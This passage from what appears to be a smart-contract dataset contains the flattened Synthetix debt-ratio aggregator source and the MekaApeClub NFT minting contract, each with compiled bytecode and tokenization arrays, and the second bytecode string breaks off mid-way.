second.length); for (uint i = 0; i < first.length; i++) { combination[i] = first[i]; } for (uint j = 0; j < second.length; j++) { combination[first.length + j] = second[j]; } } /* ========== PUBLIC FUNCTIONS ========== */ // Note: this function is public not external in order for it to be overridden and invoked via super in subclasses function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {} function rebuildCache() public { bytes32[] memory requiredAddresses = resolverAddressesRequired(); // The resolver must call this function whenver it updates its state for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // Note: can only be invoked once the resolver has all the targets needed added address destination = resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name))); addressCache[name] = destination; emit CacheUpdated(name, destination); } } /* ========== VIEWS ========== */ function isResolverCached() external view returns (bool) { bytes32[] memory requiredAddresses = resolverAddressesRequired(); for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // false if our cache is invalid or if the resolver doesn't have the required address if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) { return false; } } return true; } /* ========== INTERNAL FUNCTIONS ========== */ function requireAndGetAddress(bytes32 name) internal view returns (address) { address _foundAddress = addressCache[name]; require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name))); return _foundAddress; } /* ========== EVENTS ========== */ event CacheUpdated(bytes32 name, address destination); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/addressresolver contract AddressResolver is Owned, IAddressResolver { mapping(bytes32 => address) public repository; constructor(address _owner) public Owned(_owner) {} /* ========== RESTRICTED FUNCTIONS ========== */ function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner { require(names.length == destinations.length, "Input lengths must match"); for (uint i = 0; i < names.length; i++) { bytes32 name = names[i]; address destination = destinations[i]; repository[name] = destination; emit AddressImported(name, destination); } } /* ========= PUBLIC FUNCTIONS ========== */ function rebuildCaches(MixinResolver[] calldata destinations) external { for (uint i = 0; i < destinations.length; i++) { destinations[i].rebuildCache(); } } /* ========== VIEWS ========== */ function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) { for (uint i = 0; i < names.length; i++) { if (repository[names[i]] != destinations[i]) { return false; } } return true; } function getAddress(bytes32 name) external view returns (address) { return repository[name]; } function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) { address _foundAddress = repository[name]; require(_foundAddress != address(0), reason); return _foundAddress; } function getSynth(bytes32 key) external view returns (address) { IIssuer issuer = IIssuer(repository["Issuer"]); require(address(issuer) != address(0), "Cannot find Issuer address"); return address(issuer.synths(key)); } /* ========== EVENTS ========== */ event AddressImported(bytes32 name, address destination); } interface IDebtCache { // Views function cachedDebt() external view returns (uint); function cachedSynthDebt(bytes32 currencyKey) external view returns (uint); function cacheTimestamp() external view returns (uint); function cacheInvalid() external view returns (bool); function cacheStale() external view returns (bool); function isInitialized() external view returns (bool); function currentSynthDebts(bytes32[] calldata currencyKeys) external view returns ( uint[] memory debtValues, uint futuresDebt, uint excludedDebt, bool anyRateIsInvalid ); function cachedSynthDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory debtValues); function totalNonSnxBackedDebt() external view returns (uint excludedDebt, bool isInvalid); function currentDebt() external view returns (uint debt, bool anyRateIsInvalid); function cacheInfo() external view returns ( uint debt, uint timestamp, bool isInvalid, bool isStale ); function excludedIssuedDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory excludedDebts); // Mutative functions function updateCachedSynthDebts(bytes32[] calldata currencyKeys) external; function updateCachedSynthDebtWithRate(bytes32 currencyKey, uint currencyRate) external; function updateCachedSynthDebtsWithRates(bytes32[] calldata currencyKeys, uint[] calldata currencyRates) external; function updateDebtCacheValidity(bool currentlyInvalid) external; function purgeCachedSynthDebt(bytes32 currencyKey) external; function takeDebtSnapshot() external; function recordExcludedDebtChange(bytes32 currencyKey, int256 delta) external; function updateCachedsUSDDebt(int amount) external; function importExcludedIssuedDebts(IDebtCache prevDebtCache, IIssuer prevIssuer) external; } // https://docs.synthetix.io/contracts/source/interfaces/isynthetixdebtshare interface ISynthetixDebtShare { // Views function currentPeriodId() external view returns (uint128); function allowance(address account, address spender) external view returns (uint); function balanceOf(address account) external view returns (uint); function balanceOfOnPeriod(address account, uint periodId) external view returns (uint); function totalSupply() external view returns (uint); function sharePercent(address account) external view returns (uint); function sharePercentOnPeriod(address account, uint periodId) external view returns (uint); // Mutative functions function takeSnapshot(uint128 id) external; function mintShare(address account, uint256 amount) external; function burnShare(address account, uint256 amount) external; function approve(address, uint256) external pure returns (bool); function transfer(address to, uint256 amount) external pure returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); function addAuthorizedBroker(address target) external; function removeAuthorizedBroker(address target) external; function addAuthorizedToSnapshot(address target) external; function removeAuthorizedToSnapshot(address target) external; } //import "@chainlink/contracts-0.0.10/src/v0.5/interfaces/AggregatorV2V3Interface.sol"; interface AggregatorV2V3Interface { function latestRound() external view returns (uint256); function decimals() external view returns (uint8); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.synthetix.io/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } // Computes `a - b`, setting the value to 0 if b > a. function floorsub(uint a, uint b) internal pure returns (uint) { return b >= a ? 0 : a - b; } /* ---------- Utilities ---------- */ /* * Absolute value of the input, returned as a signed number. */ function signedAbs(int x) internal pure returns (int) { return x < 0 ? -x : x; } /* * Absolute value of the input, returned as an unsigned number. */ function abs(int x) internal pure returns (uint) { return uint(signedAbs(x)); } } //import "@chainlink/contracts-0.0.10/src/v0.5/interfaces/AggregatorV2V3Interface.sol"; // aggregator which reports the data from the system itself // useful for testing contract BaseOneNetAggregator is Owned, AggregatorV2V3Interface { using SafeDecimalMath for uint; AddressResolver public resolver; uint public overrideTimestamp; constructor(AddressResolver _resolver) public Owned(msg.sender) { resolver = _resolver; } function setOverrideTimestamp(uint timestamp) public onlyOwner { overrideTimestamp = timestamp; emit SetOverrideTimestamp(timestamp); } function latestRoundData() external view returns ( uint80, int256, uint256, uint256, uint80 ) { return getRoundData(uint80(latestRound())); } function latestRound() public view returns (uint256) { return 1; } function decimals() external view returns (uint8) { return 0; } function getAnswer(uint256 _roundId) external view returns (int256 answer) { (, answer, , , ) = getRoundData(uint80(_roundId)); } function getTimestamp(uint256 _roundId) external view returns (uint256 timestamp) { (, , timestamp, , ) = getRoundData(uint80(_roundId)); } function getRoundData(uint80) public view returns ( uint80, int256, uint256, uint256, uint80 ); event SetOverrideTimestamp(uint timestamp); } contract OneNetAggregatorDebtRatio is BaseOneNetAggregator { bytes32 public constant CONTRACT_NAME = "OneNetAggregatorDebtRatio"; constructor(AddressResolver _resolver) public BaseOneNetAggregator(_resolver) {} function getRoundData(uint80) public view returns ( uint80, int256, uint256, uint256, uint80 ) { uint totalIssuedSynths = IIssuer(resolver.requireAndGetAddress("Issuer", "aggregate debt info")).totalIssuedSynths("sUSD", true); uint totalDebtShares = ISynthetixDebtShare(resolver.requireAndGetAddress("SynthetixDebtShare", "aggregate debt info")).totalSupply(); uint result = totalDebtShares == 0 ? 0 : totalIssuedSynths.decimalToPreciseDecimal().divideDecimalRound(totalDebtShares); uint dataTimestamp = now; if (overrideTimestamp != 0) { dataTimestamp = overrideTimestamp; } return (1, int256(result), dataTimestamp, dataTimestamp, 1); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063b5ab58dc11610066578063b5ab58dc14610218578063b633620c14610235578063ec5c889d14610252578063feaf968c1461025a576100ea565b80638da5cb5b1461018b5780639a6fc8f514610193578063b00a84c9146101fb576100ea565b806353a47bb7116100c857806353a47bb714610159578063614d08f814610161578063668a0f021461017b57806379ba509714610183576100ea565b806304f3bcec146100ef5780631627540c14610113578063313ce5671461013b575b600080fd5b6100f7610262565b604080516001600160a01b039092168252519081900360200190f35b6101396004803603602081101561012957600080fd5b50356001600160a01b0316610271565b005b6101436102cd565b6040805160ff9092168252519081900360200190f35b6100f76102d2565b6101696102e1565b60408051918252519081900360200190f35b610169610305565b61013961030a565b6100f76103c6565b6101bc600480360360208110156101a957600080fd5b503569ffffffffffffffffffff166103d5565b6040805169ffffffffffffffffffff96871681526020810195909552848101939093526060840191909152909216608082015290519081900360a00190f35b6101396004803603602081101561021157600080fd5b503561068a565b6101696004803603602081101561022e57600080fd5b50356106cd565b6101696004803603602081101561024b57600080fd5b50356106e3565b6101696106f9565b6101bc6106ff565b6002546001600160a01b031681565b610279610728565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b600090565b6001546001600160a01b031681565b7f4f6e654e657441676772656761746f7244656274526174696f0000000000000081565b600190565b6001546001600160a01b031633146103535760405162461bcd60e51b81526004018080602001828103825260358152602001806108b26035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031681565b6002546040805163dacb2d0160e01b81526524b9b9bab2b960d11b6004820152602481018290526013604482015272616767726567617465206465627420696e666f60681b60648201529051600092839283928392839283926001600160a01b039092169163dacb2d0191608480820192602092909190829003018186803b15801561046057600080fd5b505afa158015610474573d6000803e3d6000fd5b505050506040513d602081101561048a57600080fd5b505160408051637b1001b760e01b8152631cd554d160e21b60048201526001602482015290516001600160a01b0390921691637b1001b791604480820192602092909190829003018186803b1580156104e257600080fd5b505afa1580156104f6573d6000803e3d6000fd5b505050506040513d602081101561050c57600080fd5b50516002546040805163dacb2d0160e01b81527153796e74686574697844656274536861726560701b6004820152602481018290526013604482015272616767726567617465206465627420696e666f60681b606482015290519293506000926001600160a01b039092169163dacb2d0191608480820192602092909190829003018186803b15801561059e57600080fd5b505afa1580156105b2573d6000803e3d6000fd5b505050506040513d60208110156105c857600080fd5b5051604080516318160ddd60e01b815290516001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b15801561060c57600080fd5b505afa158015610620573d6000803e3d6000fd5b505050506040513d602081101561063657600080fd5b50519050600081156106605761065b8261064f85610773565b9063ffffffff61078f16565b610663565b60005b60035490915042901561067557506003545b60019a91995097508796508995509350505050565b610692610728565b60038190556040805182815290517f0c353e7b16d02337ff57a02fe5b0a5506fa6f85187948be32d182e393b99a8f29181900360200190a150565b60006106d8826103d5565b509195945050505050565b60006106ee826103d5565b509095945050505050565b60035481565b6000806000806000610717610712610305565b6103d5565b945094509450945094509091929394565b6000546001600160a01b031633146107715760405162461bcd60e51b815260040180806020018281038252602f8152602001806108e7602f913960400191505060405180910390fd5b565b600061078982633b9aca0063ffffffff6107ab16565b92915050565b60006107a48383670de0b6b3a7640000610804565b9392505050565b6000826107ba57506000610789565b828202828482816107c757fe5b04146107a45760405162461bcd60e51b81526004018080602001828103825260218152602001806109166021913960400191505060405180910390fd5b60008061082a8461081e87600a870263ffffffff6107ab16565b9063ffffffff61084716565b90506005600a82061061083b57600a015b600a9004949350505050565b600080821161089d576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b60008284816108a857fe5b0494935050505056fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a7231582009e49f7debea502e08c3eb3be2d65a2024aceab8ea78b8785278a3ca603582cd64736f6c63430005100032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2581, 2094, 2692, 14141, 2581, 5243, 17465, 2475, 2063, 2683, 3540, 2487, 16409, 2094, 2549, 8586, 16068, 19797, 2581, 3401, 2497, 17134, 2629, 7011, 2575, 2620, 2094, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1035, 1035, 1013, 1013, 1035, 1006, 1035, 1007, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1035, 1032, 1013, 1035, 1035, 1013, 1013, 1035, 1032, 1013, 1011, 1035, 1007, 1013, 1035, 1035, 1013, 1013, 1013, 1032, 1032, 1013, 1013, 1035, 1035, 1035, 1013, 1032, 1035, 1010, 1013, 1013, 1035, 1013, 1013, 1035, 1013, 1032, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,850
0x977dc06b51e14277a5ac047b44c78dbcc60a372b
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; import "ERC721Enumerable.sol"; import "Ownable.sol"; contract MekaApeClub is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public notRevealedUri; uint256 public cost = 0.1 ether; uint256 public maxSupply = 10101; uint256 public maxMintAmount = 10; uint256 public nftPerAddressLimit = 10; bool public paused = false; bool public revealed = false; bool public onlyWhitelisted = true; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; mapping(address => uint256) public airdropList; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner() && airdropList[msg.sender] != 1) { require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; if(onlyWhitelisted == true) { require(isWhitelisted(msg.sender), "user is not whitelisted"); require(ownerMintedCount + _mintAmount <= 1, "max NFT per address exceeded"); } else{ require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); } require(msg.value >= cost * _mintAmount, "insufficient funds"); } if(airdropList[msg.sender] == 1) { airdropList[msg.sender] = 2; } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function airdrop(address _user) public onlyOwner { airdropList[_user] = 1; } function isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return bytes(notRevealedUri).length > 0 ? string(abi.encodePacked(notRevealedUri, tokenId.toString(),".json")) : ""; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } function withdraw() public payable onlyOwner { uint256 _total = address(this).balance; (bool l, ) = payable(0xE554050cE6d1a4091D697746C2d6C93E6D27Edc9).call{value: _total * 75 / 10000}(""); require(l); (bool t, ) = payable(0xf6F0D5ACC732Baf6CB630686583d0b2d8F8E726d).call{value: _total * 75 / 10000}(""); require(t); uint256 _total_owner = address(this).balance; (bool all1, ) = payable(0x808DDC4e39a04c692CbbE6D32197ca75efB7Aa8B).call{value: _total_owner * 1/3}(""); require(all1); (bool all2, ) = payable(0x2AccF4Ef342F16fc22080d814e76E73f5fc3B11b).call{value: _total_owner * 1/3}(""); require(all2); (bool all3, ) = payable(0x0B39691dA955EEA8A02bb956cB01dfaA10FA44cE).call{value: _total_owner * 1/3}(""); require(all3); } }
0x6080604052600436106102725760003560e01c806358cf77fa1161014f578063a22cb465116100c1578063d0eb26b01161007a578063d0eb26b01461096e578063d5abeb0114610997578063e985e9c5146109c2578063edec5f27146109ff578063f2c4ce1e14610a28578063f2fde38b14610a5157610272565b8063a22cb46514610860578063a475b5dd14610889578063b88d4fde146108a0578063ba4e5c49146108c9578063ba7d2c7614610906578063c87b56dd1461093157610272565b8063715018a611610113578063715018a6146107835780637f00c7a61461079a5780638da5cb5b146107c357806395d89b41146107ee5780639c70b51214610819578063a0712d681461084457610272565b806358cf77fa146106765780635c975abb146106b35780636352211e146106de5780636c0360eb1461071b57806370a082311461074657610272565b806323b872dd116101e857806342842e0e116101ac57806342842e0e14610556578063438b63001461057f57806344a0d68a146105bc5780634f6ccce7146105e5578063518302271461062257806355f804b31461064d57610272565b806323b872dd146104805780632f745c59146104a95780633af32abf146104e65780633c952764146105235780633ccfd60b1461054c57610272565b8063095ea7b31161023a578063095ea7b31461037057806313faede61461039957806318160ddd146103c457806318cae269146103ef57806321860a051461042c578063239c70ae1461045557610272565b806301ffc9a71461027757806302329a29146102b457806306fdde03146102dd578063081812fc14610308578063081c8c4414610345575b600080fd5b34801561028357600080fd5b5061029e60048036038101906102999190613d79565b610a7a565b6040516102ab91906144bf565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190613d4c565b610af4565b005b3480156102e957600080fd5b506102f2610b8d565b6040516102ff91906144da565b60405180910390f35b34801561031457600080fd5b5061032f600480360381019061032a9190613e1c565b610c1f565b60405161033c9190614436565b60405180910390f35b34801561035157600080fd5b5061035a610ca4565b60405161036791906144da565b60405180910390f35b34801561037c57600080fd5b5061039760048036038101906103929190613cbf565b610d32565b005b3480156103a557600080fd5b506103ae610e4a565b6040516103bb919061481c565b60405180910390f35b3480156103d057600080fd5b506103d9610e50565b6040516103e6919061481c565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190613b3c565b610e5d565b604051610423919061481c565b60405180910390f35b34801561043857600080fd5b50610453600480360381019061044e9190613b3c565b610e75565b005b34801561046157600080fd5b5061046a610f39565b604051610477919061481c565b60405180910390f35b34801561048c57600080fd5b506104a760048036038101906104a29190613ba9565b610f3f565b005b3480156104b557600080fd5b506104d060048036038101906104cb9190613cbf565b610f9f565b6040516104dd919061481c565b60405180910390f35b3480156104f257600080fd5b5061050d60048036038101906105089190613b3c565b611044565b60405161051a91906144bf565b60405180910390f35b34801561052f57600080fd5b5061054a60048036038101906105459190613d4c565b6110f3565b005b61055461118c565b005b34801561056257600080fd5b5061057d60048036038101906105789190613ba9565b611547565b005b34801561058b57600080fd5b506105a660048036038101906105a19190613b3c565b611567565b6040516105b3919061449d565b60405180910390f35b3480156105c857600080fd5b506105e360048036038101906105de9190613e1c565b611615565b005b3480156105f157600080fd5b5061060c60048036038101906106079190613e1c565b61169b565b604051610619919061481c565b60405180910390f35b34801561062e57600080fd5b5061063761170c565b60405161064491906144bf565b60405180910390f35b34801561065957600080fd5b50610674600480360381019061066f9190613dd3565b61171f565b005b34801561068257600080fd5b5061069d60048036038101906106989190613b3c565b6117b5565b6040516106aa919061481c565b60405180910390f35b3480156106bf57600080fd5b506106c86117cd565b6040516106d591906144bf565b60405180910390f35b3480156106ea57600080fd5b5061070560048036038101906107009190613e1c565b6117e0565b6040516107129190614436565b60405180910390f35b34801561072757600080fd5b50610730611892565b60405161073d91906144da565b60405180910390f35b34801561075257600080fd5b5061076d60048036038101906107689190613b3c565b611920565b60405161077a919061481c565b60405180910390f35b34801561078f57600080fd5b506107986119d8565b005b3480156107a657600080fd5b506107c160048036038101906107bc9190613e1c565b611a60565b005b3480156107cf57600080fd5b506107d8611ae6565b6040516107e59190614436565b60405180910390f35b3480156107fa57600080fd5b50610803611b10565b60405161081091906144da565b60405180910390f35b34801561082557600080fd5b5061082e611ba2565b60405161083b91906144bf565b60405180910390f35b61085e60048036038101906108599190613e1c565b611bb5565b005b34801561086c57600080fd5b5061088760048036038101906108829190613c7f565b61202e565b005b34801561089557600080fd5b5061089e612044565b005b3480156108ac57600080fd5b506108c760048036038101906108c29190613bfc565b6120dd565b005b3480156108d557600080fd5b506108f060048036038101906108eb9190613e1c565b61213f565b6040516108fd9190614436565b60405180910390f35b34801561091257600080fd5b5061091b61217e565b604051610928919061481c565b60405180910390f35b34801561093d57600080fd5b5061095860048036038101906109539190613e1c565b612184565b60405161096591906144da565b60405180910390f35b34801561097a57600080fd5b5061099560048036038101906109909190613e1c565b6122a6565b005b3480156109a357600080fd5b506109ac61232c565b6040516109b9919061481c565b60405180910390f35b3480156109ce57600080fd5b506109e960048036038101906109e49190613b69565b612332565b6040516109f691906144bf565b60405180910390f35b348015610a0b57600080fd5b50610a266004803603810190610a219190613cff565b6123c6565b005b348015610a3457600080fd5b50610a4f6004803603810190610a4a9190613dd3565b612466565b005b348015610a5d57600080fd5b50610a786004803603810190610a739190613b3c565b6124fc565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610aed5750610aec826125f4565b5b9050919050565b610afc6126d6565b73ffffffffffffffffffffffffffff